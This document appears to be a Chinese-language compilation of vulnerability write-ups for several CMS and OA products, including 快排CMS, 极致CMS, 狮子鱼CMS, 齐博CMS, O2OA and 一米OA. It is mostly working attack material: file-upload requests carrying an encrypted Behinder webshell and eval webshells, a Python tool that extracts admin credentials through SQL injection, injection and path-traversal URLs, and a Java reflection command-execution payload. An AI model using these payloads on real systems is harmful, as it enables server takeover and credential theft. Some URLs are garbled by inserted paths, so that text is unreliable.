sqlmap -u 'http://xxx.xxx.xxx.xxx/?M_id=11%27&type=product' -p M_idFile: CMS漏洞/快排CMS Socket.php 日志信息泄露漏洞.md
快排CMS Socket.php 日志信息泄露漏洞
漏洞描述
快排CMS 默认开启日志记录,由于日志名为时间作为文件名,造成管理员的Cookie泄露
漏洞影响
快排 CMS <= 1.2环境搭建
https://gitee.com/qingzhanwang/kpcms
漏洞复现
文件 thinkphp/library/think/log/driver/Socket.php
这里默认开启日志写入
runtime/log/202104/06.log其中可以看到泄露了管理员的Cookie信息和其他敏感信息
并且文件命名为 年+月/日期.log
这里关注后台的日志文件中的 admin.php页面的cookie就可以获得管理员权限
File: CMS漏洞/快排CMS 后台XSS漏洞.md
快排CMS 后台XSS漏洞
漏洞描述
快排CMS 后台存在XSS漏洞,通过后台构造特殊语句可以造成访问网站的用户被XSS影响
漏洞影响
快排 CMS <= 1.2环境搭建
https://gitee.com/qingzhanwang/kpcms
漏洞复现
漏洞出现在登录后台的网站编辑的位置,由于没有对输出的字符进行过滤,导致XSS
主页版权处嵌入XSS代码
File: CMS漏洞/快排CMS 后台任意文件上传漏洞.md
快排CMS 后台任意文件上传漏洞
漏洞描述
快排CMS 后台管理模块存在任意文件上传漏洞,攻击者通过漏洞可以控制服务器
漏洞影响
快排 CMS <= 1.2环境搭建
https://gitee.com/qingzhanwang/kpcms
漏洞复现
登录页面如下, 默认账号密码为 admin/admin
http://xxx.xxx.xxx.xxx/admin.php/index/login.html源码中没有对上传文件的后缀检测
thinkphp/library/think/File.php任意找一处文件上传点
上传抓包获取文件地址
POST /admin.php/index/upload.html?dir=image HTTP/1.1
Host: 192.168.1.108:88
Content-Length: 935
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.1.108:88
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryYIt9WaQZiDMrwAVm
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/avif,http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/webp,http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.1.108:88/admin.php/config/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: admin_id=IphHb2Z%2FRG9gIXGA7HpPzQ%3D%3D; menu_show=0; menu_id=menu_22; url=%2Fadmin.php%2Fconfig%2Findex.html
x-forwarded-for: 127.0.0.1
x-originating-ip: 127.0.0.1
x-remote-ip: 127.0.0.1
x-remote-addr: 127.0.0.1
Connection: close
------WebKitFormBoundaryYIt9WaQZiDMrwAVm
Content-Disposition: form-data; name="localUrl"
C:\fakepath\shell.php
------WebKitFormBoundaryYIt9WaQZiDMrwAVm
Content-Disposition: form-data; name="imgFile"; filename="shell.php"
Content-Type: application/octet-stream
<?php
@error_reporting(0);
session_start();
$key="e45e329feb5d925b";
$_SESSION['k']=$key;
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>
------WebKitFormBoundaryYIt9WaQZiDMrwAVm--连接冰蝎木马即可
File: CMS漏洞/极致CMS 1.81 后台存储型XSS.md
极致CMS 1.81 后台存储型XSS
漏洞描述
极致CMS后台中存在存储XSS,通过XSS漏洞,可能泄漏敏感信息
漏洞影响
极致CMS网络测绘
icon_hash="1657387632"漏洞复现
网站主页
登录管理员添加模块
注册用户
点击发布文章
在文章标题处插入xss payload
- ``
当管理员访问时XSS成功
File: CMS漏洞/极致CMS alipay_return_pay SQL注入漏洞.md
极致CMS alipay_return_pay SQL注入漏洞
漏洞描述
极致CMS支付插件中存在SQL注入漏洞,通过漏洞可以获取数据库信息
漏洞影响
极致CMS网络测绘
icon_hash="1657387632"漏洞复现
查看一下进行过滤的函数
/**
参数过滤,格式化
**/
function format_param($value=null,$int=0){
if($value==null){ return '';}
switch ($int){
case 0://整数
return (int)$value;
case 1://字符串
$value=htmlspecialchars(trim($value), ENT_QUOTES);
if(version_compare(PHP_VERSION,'7.4','>=')){
$value = addslashes($value);
}else{
if(!get_magic_quotes_gpc())$value = addslashes($value);
}
return $value;
case 2://数组
if($value=='')return '';
array_walk_recursive($value, "array_format");
return $value;
case 3://浮点
return (float)$value;
case 4:
if(version_compare(PHP_VERSION,'7.4','>=')){
$value = addslashes($value);
}else{
if(!get_magic_quotes_gpc())$value = addslashes($value);
}
return trim($value);
}
}
//过滤XSS攻击
function SafeFilter(&$arr)
{
$ra=Array('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/','/script/','/javascript/','/vbscript/','/expression/','/applet/'
,'/meta/','/xml/','/blink/','/link/','/style/','/embed/','/object/','/frame/','/layer/','/title/','/bgsound/'
,'/base/','/onload/','/onunload/','/onchange/','/onsubmit/','/onreset/','/onselect/','/onblur/','/onfocus/',
'/onabort/','/onkeydown/','/onkeypress/','/onkeyup/','/onclick/','/ondblclick/','/onmousedown/','/onmousemove/'
,'/onmouseout/','/onmouseover/','/onmouseup/','/onunload/');
if (is_array($arr))
{
foreach ($arr as $key => $value)
{
if (!is_array($value))
{
if(version_compare(PHP_VERSION,'7.4','>=')){
$value = addslashes($value);
}else{
if (!get_magic_quotes_gpc()){
$value = addslashes($value);
}
}
$value = preg_replace($ra,'',$value); //删除非打印字符,粗暴式过滤xss可疑字符串
$arr[$key] = htmlentities(strip_tags($value)); //去除 HTML 和 PHP 标记并转换为 HTML 实体
}
else
{
SafeFilter($arr[$key]);
}
}
}
}看一下执行的SQL语句的函数
// 查询一条
public function find($where=null,$order=null,$fields=null,$limit=1)
{
if( $record = $this->findAll($where, $order, $fields, 1) ){
return array_pop($record);
}else{
return FALSE;
}
}跟进 findAll 函数
// 查询所有
public function findAll($conditions=null,$order=null,$fields=null,$limit=null)
{
$where = '';
if(is_array($conditions)){
$join = array();
foreach( $conditions as $key => $value ){
$value = '\''.$value.'\'';
$join[] = "{$key} = {$value}";
}
$where = "WHERE ".join(" AND ",$join);
}else{
if(null != $conditions)$where = "WHERE ".$conditions;
}
if(is_array($order)){
$where .= ' ORDER BY ';
$where .= implode(',', $order);
}else{
if($order!=null)$where .= " ORDER BY ".$order;
}
if(!empty($limit))$where .= " LIMIT {$limit}";
$fields = empty($fields) ? "*" : $fields;
$sql = "SELECT {$fields} FROM {$this->table} {$where}";
return $this->getData($sql);
}再跟进一下getData函数
//获取数据
public function getData($sql)
{
if(!$result = $this->query($sql))return array();
if(!$this->Statement->rowCount())return array();
$rows = array();
while($rows[] = $this->Statement->fetch(PDO::FETCH_ASSOC)){}
$this->Statement=null;
array_pop($rows);
return $rows;
}跟进query执行函数
//执行SQL语句并检查是否错误
public function query($sql){
$this->filter[] = $sql;
$this->Statement = $this->pdo->query($sql);
if ($this->Statement) {
return $this;
}else{
$msg = $this->pdo->errorInfo();
if($msg[2]) exit('数据库错误:' . $msg[2] . end($this->filter));
}
}看到$msg = $this->pdo->errorInfo();语句,也就是说会把数据库报错信息打印在页面上并显示出来并退出
一套分析下来没有发现对sql语句的过滤,如果得到的数据没有经过format_param过滤,会产生注入
例如:
function exploit(){
M('member')->find(['username'=>$_GET['name']]);
}如果直接这样GET POST REQUEST 带入数据库 会产生报错注入
例如 ./exploit/name=123' (加一个引号会报错,如果引号没过滤)
现在只需要寻找类型是这样没过滤直接带入数据库的语句就行了
简单寻找下其实这样的地方挺多的,拿一个位置举例子
这里是一个支付插件的位置,蓝色方块1增加代码模拟开通支付宝功能通过验证
可以看到这个函数只使用[htmlspecialchars]来过滤了xss,sql语句没有过滤,用刚刚的方法来注入
可以看到的确出现了sql语句和数据库错误
直接报错注入获取敏感信息
mypay/alipay_return_pay?out_trade_no=1%27 and updatexml(1,concat(0x7e,(select version()),0x7e),1)--+"
import requests
import re
"""
官网url : https://www.jizhicms.cn/
"""
def main():
print('+------------------------------------------')
print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
print('+ \033[34m公众号 : PeiQi文库 \033[0m')
print('+ \033[34mVersion: 极致CMS 1.67 - 171 \033[0m')
print('+ \033[36m使用格式: python3 CNVD-2020-49710.py \033[0m')
print('+------------------------------------------')
while True:
poc = str(input('选择使用的poc:\n'
'1.sql注入\n'
'2.用户购物车爆破\n'
'3.GET 网站管理员账号密码\n'
'4.退出 quit\n'
'poc:'))
print('------------------ peiqi -----------------------')
if poc == '1':
poc_1()
elif poc == '2':
poc_2()
elif poc == '3':
poc_3()
elif poc == '4':
break
else:
print('参数错误,重新输入')
def poc_1():
## poc_1 ---> sql注入漏洞点( Home/c/MypayController.php [alipay_notify_pay])
## 使用范围 极致cms 1.71 + 1.7 + 1.67 版本
"""
function alipay_return_pay(){
extendFile('pay/alipay/AlipayServiceCheck.php');
//支付宝公钥,账户中心->密钥管理->开放平台密钥,找到添加了支付功能的应用,根据你的加密类型,查看支付宝公钥
$alipayPublicKey=$this->webconf['alipay_public_key'];
$aliPay = new \AlipayServiceCheck($alipayPublicKey);
//验证签名
$result = $aliPay->rsaCheck($_GET,$_GET['sign_type']);
$result=true; <<--- (添加的php代码 模拟打开支付宝 并通过签名验证)
if($result===true){
//同步回调一般不处理业务逻辑,显示一个付款成功的页面,或者跳转到用户的财务记录页面即可。
//echo '<h1>付款成功</h1>';
$out_trade_no = htmlspecialchars($_GET['out_trade_no']); << ---- (漏洞位置,只过滤了xss,没有调用函数过滤sql语句)
$orderno = $out_trade_no;
$paytime = time();
$order = M('orders')->find(['orderno'=>$orderno]); << --- (执行sql注入的语句)
"""
try:
exploit_url = str(input("攻击网站url:\n"))
while True:
payload = str(input("请输入你的payload(sql)语句:\n"))
# mypay/alipay_return_pay?out_trade_no=1
payload_url = exploit_url + "mypay/alipay_return_pay?out_trade_no=1%27 and updatexml(1,concat(0x7e,(" + payload + "),0x7e),1)--+"
# print('你的payload语句为: \n', payload_url)
response = requests.get(payload_url)
# print(response.text)
data = re.search(r'~(.*?)~', response.text).group(1)
if data == []:
print('[!!] sql语句错误 或者 版本高于 [极致cms 1.71 -> 发布时间 2020-05-25]')
else:
print('得到的数据为:\n', data)
print('------------------ peiqi -----------------------')
except:
print('出现错误')
print('------------------ peiqi -----------------------')
# http://jizhicms.com/user/orderdetails/orderno/No20200712213457.html
def poc_2():
## poc_2 ---> 用户购物车页面获取 (Home/c/UserController.php [orderdetails])
## 漏洞点 ---> 无用户cookie id 的验证
## 使用范围 极致cms 1.8以下全版本 (当前最新 v1.8 更新时间:6月30日)
"""
function orderdetails(){
$orderno = $this->frparam('orderno',1);
$order = M('orders')->find(['orderno'=>$orderno]);
if($orderno && $order){
/*
if($order['isshow']!=1){
//超时或者已支付
if($order['isshow']==0){
$msg = '订单已删除';
}
if($order['isshow']==3){
$msg = '订单已过期,不可支付!';
}
if($order['isshow']==2){
$msg = '订单已支付,请勿重复操作!';
}
if($this->frparam('ajax')){
JsonReturn(['code'=>1,'msg'=>$msg]);
}
Error($msg);
}
*/
$carts = explode('||',$order['body']);
$new = [];
foreach($carts as $k=>$v){
$d = explode('-',$v);
if($d[0]!=''){
//兼容多模块化
if(isset($this->classtypedata[$d[0]])){
$type = $this->classtypedata[$d[0]];
$res = M($type['molds'])->find(['id'=>$d[1]]);
$new[] = ['info'=>$res,'num'=>$d[2],'tid'=>$d[0],'id'=>$d[1],'price'=>$d[3]];
}else{
$new[] = ['info'=>false,'num'=>$d[2],'tid'=>$d[0],'id'=>$d[1],'price'=>$d[3]];
}
}
}
$this->carts = $new;
$this->order = $order;
$this->display($this->template.'/user/orderdetails');
}
}
"""
try:
exploit_url = str(input("攻击网站url:\n"))
year_day = str(input("输入日期(例如:20200712):"))
shop = []
# 遍历所有出现的用户购物车页面
for num in range(100000,999999):
#payload_url = "user/orderdetails/orderno/No" + year_day + str(num) + ".html"
payload_url = "user/orderdetails/orderno/No20200712213927.html"
response = requests.get(exploit_url + payload_url)
# 打印结果
if '总金额' in response.text:
print('购物车页面:',payload_url)
shop.append(payload_url)
for page in shop:
print(page)
print('------------------ peiqi -----------------------')
except:
print('出现错误')
print('------------------ peiqi -----------------------')
def poc_3():
## poc_3 ---> 得到账号密码 ( Home/c/MypayController.php [alipay_notify_pay])
## 使用范围 ---> 极致cms 1.71 + 1.7 + 1.67 版本
try:
exploit_url = str(input("攻击网站url:\n"))
# payload --> updatexml(1,concat(0x7e,(select distinct length(concat(0x23,name,0x3a,pass,0x23)) from jz_level limit 0,1),0x7e),1)--+
# 用户名 + 密码 长度
payload_url = exploit_url + "mypay/alipay_return_pay?out_trade_no=1%27 and updatexml(1,concat(0x7e,(select distinct length(concat(0x23,name,0x3a,pass,0x23)) from jz_level limit 0,1),0x7e),1)--+"
response = requests.get(payload_url)
str_long = re.search(r'~(.*?)~',response.text).group(1)
#print(str_long)
# 得到账号密码,密码md5格式
payload_url = exploit_url + "mypay/alipay_return_pay?out_trade_no=1%27 and updatexml(1,concat(0x7e,(select distinct substring(concat(0x23,name,0x3a,pass,0x23),1,32) from jz_level limit 0,1),0x7e),1)--+"
response = requests.get(payload_url)
admin_name_1 = re.search(r"~#(.*?)'", response.text).group(1)
#print(admin_name_1)
payload_url = exploit_url + "mypay/alipay_return_pay?out_trade_no=1%27 and updatexml(1,concat(0x7e,(select distinct substring(concat(0x23,name,0x3a,pass,0x23),32," + str(int(str_long) - 32) +") from jz_level limit 0,1),0x7e),1)--+"
response = requests.get(payload_url)
admin_name_2 = re.search(r'~(.*?)~', response.text).group(1)
#print(admin_name_2)
# 分割账号密码
admin_passwd = admin_name_1 + admin_name_2
admin_passwd = admin_passwd.split(':')
admin = admin_passwd[0]
passwd = admin_passwd[1]
#print(admin)
#print(passwd)
print("成功得到账号密码:\n"
"用户名:",admin,
"\n密码(md5):",passwd)
print('------------------ peiqi -----------------------')
except:
print('出现错误')
print('------------------ peiqi -----------------------')
if __name__ == '__main__':
main()File: CMS漏洞/极致CMS 后台文件编辑插件 任意文件上传.md
极致CMS 后台文件编辑插件 任意文件上传
漏洞描述
极致CMS后台中含有文件编辑插件,通过逻辑漏洞可任意修改文件
漏洞影响
极致CMS网络测绘
icon_hash="1657387632"漏洞复现
登陆后台查看插件处,有一个后台编辑的插件
安装之后设置密码并使用
- 如果已经设有密码,重新安装插件即可解决密码未知问题
修改为php代码
成功执行php代码的命令
File: CMS漏洞/狮子鱼CMS ApiController.class.php SQL注入漏洞.md
狮子鱼CMS ApiController.class.php SQL注入漏洞
漏洞描述
狮子鱼CMS ApiController.class.php 参数过滤存在不严谨,导致SQL注入漏洞
漏洞影响
狮子鱼CMS网络测绘
"/seller.php?s=/Public/login"漏洞复现
登录界面如下
存在漏洞的文件为 ApiController.class.php , 关键位置为
public function goods_detail()
{
$goods_id = I('get.goods_id');
//gallery =>img_url
//goods goods.goods_desc goods_name group_price market_price sell_count group_number
$sql="select g.*,gd.description,gd.summary,gd.tag from ".
C('DB_PREFIX')."goods g,".C('DB_PREFIX')."goods_description gd where g.goods_id=gd.goods_id and g.goods_id=".$goods_id;
$goods_arr=M()->query($sql);
$qian=array("\r\n");
$hou=array("<br/>");
$goods_arr[0]['summary'] = str_replace($qian,$hou,$goods_arr[0]['summary']);
$sql="select image from ".C('DB_PREFIX')."goods_image where goods_id=".$goods_id;
$goods_image=M()->query($sql);
$gallery = array();
$default_image = '';
foreach($goods_image as $val)
{
$val['img_url'] = str_replace('http','https',C('SITE_URL')).'/Uploads/ http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/'.$val['image'];
if(empty($default_image))
{
$default_image = str_replace('http','https',C('SITE_URL')).resize($val['image'], C('goods_thumb_width'), C('goods_thumb_height'));
}
$gallery[] = array('img_url' => $val['img_url']);
}
$goods = $goods_arr[0];漏洞测试为
https://xxx.xxx.xx.xxx/index.php?s=api/goods_detail&goods_id=1%20and%20updatexml(1,concat(0x7e,md5(1),0x7e),1)File: CMS漏洞/狮子鱼CMS ApigoodController.class.php SQL注入漏洞.md
狮子鱼CMS ApigoodController.class.php SQL注入漏洞
漏洞描述
狮子鱼CMS ApiController.class.php 参数过滤存在不严谨,导致SQL注入漏洞
漏洞影响
狮子鱼CMS网络测绘
"/seller.php?s=/Public/login"漏洞复现
登录页面如下
存在漏洞的文件为 ApigoodsController.class.php , 关键位置为
public function get_goods_detail() {
$id = I('get.id');
$pin_id = I('get.pin_id', 0);
$token = I('get.token');
$weprogram_token = M('weprogram_token')->field('member_id')->where( array('token' =>$token) )->find();
$member_id = $weprogram_token['member_id'];
$need_data = array();
$sql = "select g.*,gd.description,gd.is_untake_level,level_discount,gd.video_src,gd.video_size_width,gd.vedio_size_height,gd.is_video,
gd.summary,gd.share_title,gd.activity_summary,gd.tag from " . C('DB_PREFIX') . "goods g," . C('DB_PREFIX') . "goods_description gd where g.goods_id=gd.goods_id and g.goods_id=" . $id;
$goods = M()->query($sql);
$pin_model = D('Home/Pin');
$goods_model = D('Home/Goods');
$qian = array(
"/Uploads/image"
);
$c_site_url = str_replace('/dan','',C('SITE_URL'));
$hou = array(
$c_site_url . "/Uploads/image"
);
$goods[0]['video_src'] = C('SITE_URL')."Uploads/http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/".$goods[0]['video_src'];
$goods[0]['description'] = str_replace($qian, $hou, $goods[0]['description']);
$goods[0]['description'] = htmlspecialchars_decode($goods[0]['description']);
$qian = array(
"\r\n"
);漏洞测试为
https://xxx.xxx.xx.xxx/index.php?s=apigoods/get_goods_detail&id=1%20and%20updatexml(1,concat(0x7e,md5(1),0x7e),1)File: CMS漏洞/狮子鱼CMS image_upload.php 任意文件上传.md
狮子鱼CMS image_upload.php 任意文件上传
漏洞描述
狮子鱼CMS使用CK编辑器,存在图片上传的绕过,造成 image_upload.php 任意文件上传
漏洞影响
狮子鱼CMS网络测绘
"/seller.php?s=/Public/login"漏洞复现
登录页面如下
漏洞文件为 CK编辑器的 image_upload.php
<?php
define ( 'IN_BAMBOO', true );
// 取得根目录
define ( 'ROOT_PATH', '../../../../' ); // back to your root path
$arrType = array (
'http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/jpg',
'http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/gif',
'http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/png',
'http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/bmp',
'http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/pjpeg',
'http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/jpeg'
);
$max_size = 500 * 1024; // 最大文件限制(单位:byte)
$upfile = ROOT_PATH.'http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/uploads'; // 图片目录路径
if (!isset($_FILES ['files'])){
echo '{"result":"400","msg":"未能找到图片,请确认图片是否过大"}';
exit ();
}
$file = $_FILES ['files'];
if ($_SERVER ['REQUEST_METHOD'] == 'POST') { // 判断提交方式是否为POST
if (! is_uploaded_file ( $file ['tmp_name'] )) { // 判断上传文件是否存在
echo '{"result":"400","msg":"图片不存在"}';
exit ();
}
if ($file ['size'] > $max_size) { // 判断文件大小是否大于500000字节
echo '{"result":"400","msg":"上传图片太大,最大支持:'.($max_size/1024).'KB"}';
exit ();
}
if (! in_array ( $file ['type'], $arrType )) { // 判断图片文件的格式
echo '{"result":"400","msg":"上传图片格式不对"}';
exit ();
}
if (! file_exists ( $upfile )) { // 判断存放文件目录是否存在
mkdir ( $upfile, 0777, true );
}
$imageSize = getimagesize ( $file ['tmp_name'] );
$img = $imageSize [0] . '*' . $imageSize [1];
$fname = $file ['name'];
$ftype = explode ( '.', $fname );
$time = explode ( " ", microtime () );
$time = $time [1] . ($time [0] * 1000);
$time2 = explode ( ".", $time );
$time = $time2 [0];
$returnName=$time."." .end($ftype);
$picName = $upfile . "/" . $returnName ;
if (! move_uploaded_file ( $file ['tmp_name'], $picName )) {
echo '{"result":"400","msg":"从:'.$file ['tmp_name'].'移动图片到:'.$picName.'出错"}';
exit ();
} else {
echo '{"result":"200","imgurl":"http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/uploads/' . $returnName . '"}';
}
}
?>其中使用 Content-Type: http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/gif 即可绕过上传PHP文件
POST /Common/ckeditor/plugins/multiimg/dialogs/image_upload.php HTTP/2
Host:
Content-Type: multipart/form-data;boundary=----WebKitFormBoundary8UaANmWAgM4BqBSs
Content-Length: 208
------WebKitFormBoundary8UaANmWAgM4BqBSs
Content-Disposition: form-data; name="files"; filename="test.php"
Content-Type: http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/gif
<?php @eval($_POST[test]);?>
------WebKitFormBoundary8UaANmWAgM4BqBSs—访问返回的文件路径
/Common/http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/uploads/xxxxx.phpFile: CMS漏洞/狮子鱼CMS wxapp.php 任意文件上传漏洞.md
狮子鱼CMS wxapp.php 任意文件上传漏洞
漏洞描述
狮子鱼CMS wxapp.php文件 存在任意文件上传漏洞,攻击者在没有身份验证的情况下可以上传恶意文件
漏洞影响
狮子鱼CMS网络测绘
"/seller.php?s=/Public/login"漏洞复现
登录页面如下
发送请求包上传PHP文件
POST /wxapp.php?controller=Goods.doPageUpload HTTP/1.1
Host:
Content-Length: 210
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8UaANmWAgM4BqBSs
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/avif,http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/webp,http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundary8UaANmWAgM4BqBSs
Content-Disposition: form-data; name="upfile"; filename="test.php"
Content-Type: http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/gif
<?php @eval($_POST['test']);?>
------WebKitFormBoundary8UaANmWAgM4BqBSs--File: CMS漏洞/齐博CMS V7 job.php 任意文件读取漏洞.md
齐博CMS V7 job.php 任意文件读取漏洞
漏洞描述
QiboCMS V7版本/do/job.php页面URL参数过滤不严,导致可以下载系统任意文件,获取系统敏感信息。
漏洞影响
齐博CMS V7网络测绘
app="齐博软件-v7"漏洞复现
漏洞分析 /inc/job/download.php
$url=trim(base64_decode($url));
$fileurl=str_replace($webdb[www_url],"",$url);
if( eregi(".php",$fileurl) && is_file(ROOT_PATH."$fileurl") ){
die("ERR");
}
if(!$webdb[DownLoad_readfile]){
$fileurl=strstr($url,"://")?$url:tempdir($fileurl);
header("location:$fileurl");
exit;
}
$webdb[upfileType] = str_replace(' ','|',$webdb[upfileType]);
if( $webdb[local_download] && is_file(ROOT_PATH.$fileurl) && eregi("($webdb[upfileType])$",$fileurl) ){
$filename=basename($fileurl);
$filetype=substr(strrchr($filename,'.'),1);
$_filename=preg_replace("/([\d]+)_(200[\d]+)_([^_]+)\.([^\.]+)/is","\\3",$filename);
if(eregi("^([a-z0-9=]+)$",$_filename)&&!eregi("(jpg|gif|png)$",$filename)){
$filename=urldecode(base64_decode($_filename)).".$filetype";
}
ob_end_clean();
header('Last-Modified: '.gmdate('D, d M Y H:i:s',time()).' GMT');
header('Pragma: no-cache');
header('Content-Encoding: none');
header('Content-Disposition: attachment; filename='.$filename);
header('Content-type: '.$filetype);
header('Content-Length: '.filesize(ROOT_PATH."$fileurl"));
readfile(ROOT_PATH."$fileurl");
exit;
}url base64解码,匹配后缀 如果是php结尾的就退出 在windows下能用xxx.ph< 绕过 然后经过一系列的正则后会下载文件。
if( eregi(".php",$fileurl) && is_file(ROOT_PATH."$fileurl") ){
die("ERR");
}漏洞POC
/do/job.php?job=download&url=ZGF0YS9jb25maWcucGg8File: OA产品漏洞/O2OA 9.0.3 版本 scriptingBlockedClasses 绕过导致远程代码执行.md
O2OA 9.0.3 版本 scriptingBlockedClasses 绕过导致远程代码执行
漏洞描述
O2OA(翱途)低代码开发平台是一个开源企业协同办公定制平台,提供完整的前后端 API 和模块定制能力。
O2OA 9.0.3 版本存在远程代码执行漏洞,平台使用 scriptingBlockedClasses 属性值列表作为黑名单过滤器,攻击者可以通过 Java 反射绕过黑名单限制。
参考链接:
- https://github.com/o2oa/o2oa/issues/158
- https://github.com/o2oa/o2oa/issues/159
- https://www.o2oa.net/log/log.html
披露时间
2024-06-04
漏洞影响
O2OA 9.0.3环境搭建
在 官网下载 一个 9.0.3 版本,本地搭建测试:
unzip o2server-9.0.3-linux-x64.zip
cd o2server
./start_linux.sh按照提示进行安装,选择内置 h2 数据库:
漏洞复现
以 xadmin 身份登录平台,点击 Service Platform 进入服务平台:
点击 Create Agent 创建一个代理:
填写 Name、Alias 和 Time task cron expression 等必填项,写入 payload :
var a = mainOutput();
function mainOutput() {
var clazz = Java.type("java.lang.Class");
var rt = clazz.forName("java.lang.Runtime");
var stringClazz = Java.type("java.lang.String");
var getRuntimeMethod = rt.getMethod("getRuntime");
var execMethod = rt.getMethod("exec",stringClazz);
var runtimeObject = getRuntimeMethod.invoke(rt);
execMethod.invoke(runtimeObject,"touch /tmp/awesome_poc");
};点击保存。关闭当前窗口,重新进入点击 Run 执行:
命令成功执行:
漏洞产生的原因是 9.0.3 版本 o2server/configSample/general.json 文件中对类做了黑名单限制,但是攻击者可以通过 Java 反射绕过黑名单中的类:
"scriptingBlockedClasses": [
"java.util.zip.ZipOutputStream",
"java.io.RandomAccessFile",
"java.net.Socket",
"java.util.zip.ZipInputStream",
"java.nio.file.Files",
"java.lang.System",
"java.net.URL",
"java.lang.Runtime",
"java.io.FileWriter",
"java.io.FileOutputStream",
"javax.script.ScriptEngineManager",
"java.io.File",
"java.net.ServerSocket",
"java.nio.file.Paths",
"javax.script.ScriptEngine",
"java.util.zip.ZipFile",
"java.lang.ProcessBuilder",
"java.net.URI",
"java.nio.file.Path"
],漏洞修复
建议升级 O2OA 最新版本: https://www.o2oa.net/download.html
File: OA产品漏洞/O2OA invoke 后台远程命令执行漏洞 CNVD-2020-18740.md
[Binary file]
File: OA产品漏洞/O2OA open 后台任意文件读取漏洞.md
O2OA open 后台任意文件读取漏洞
漏洞描述
O2OA 是一款开源免费的企业及团队办公平台,提供门户管理、流程管理、信息管理、数据管理四大平台,集工作汇报、项目协作、移动 OA、文档分享、流程审批、数据协作等众多功能,满足企业各类管理和协作需求。 O2OA 系统 open 接口存在任意文件读取漏洞。攻击者可利用漏洞读取任意文件。
漏洞影响
O2OA 6.x网络测绘
title=="O2OA"环境搭建
在 官网下载 一个 6.2.0 版本,本地搭建测试:
unzip o2server-6.2.0-linux-x64.zip
cd o2server
./start_linux.sh漏洞复现
默认密码登录后台 xadmin/o2(或 xadmin/o2oa@2022)。
发送数据包:
POST /x_program_center/jaxrs/config/open?v=6.3 HTTP/1.1
Host: 10.0.12.15:20030
Accept: */*
Referer: http://10.0.12.15/
Accept-Encoding: gzip, deflate
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6788.76 Safari/537.36
Content-Type: application/json; charset=UTF-8
Origin: http://10.0.12.15
authorization: PfyuxmzgIzrLF0IUhEF-rgO3PHNy_z4650QnO7mEHhA
Content-Length: 1048
{"fileName":"../../../etc/passwd"}文件不存在时,响应包:
漏洞修复
建议升级 O2OA 最新版本: https://www.o2oa.net/download.html
File: OA产品漏洞/一米OA getfile.jsp 任意文件读取漏洞.md
一米OA getfile.jsp 任意文件读取漏洞
漏洞描述
一米OA getfile.jsp文件过滤不足,导致任意文件读取漏洞
漏洞影响
一米OA网络测绘
app="一米OA"漏洞复现
产品页面
出现漏洞的文件
<%@ page contentType="text/html;charset=utf-8" %>
<%@page import="cn.js.fan.util.*" %>
<%@page import="cn.js.fan.web.Global" %>
<%@page import="com.redmoon.oa.*" %>
<%@page import="java.io.*" %>
<jsp:useBean id="fchar" scope="page" class="cn.js.fan.util.StrUtil"/>
<jsp:useBean id="fsecurity" scope="page" class="cn.js.fan.security.SecurityUtil"/>
<jsp:useBean id="privilege" scope="page" class="com.redmoon.oa.pvg.Privilege"/>
<%
String user = ParamUtil.get(request, "user");
if ("".equals(user)) {
if (!privilege.isUserPrivValid(request, "read")) {
System.out.println("警告非法用户,你无访问此页的权限!");
return;
}
}
String filename = ParamUtil.get(request, "filename");
String extname = request.getParameter("extname");
String prop = request.getParameter("prop");
if (filename == null) {
System.out.println("缺少文件名!");
return;
}
filename = filename + "." + extname;
Config cfg = new Config();
String noticefilepath;
if ("activex".equals(prop)) {
noticefilepath = prop;
} else {
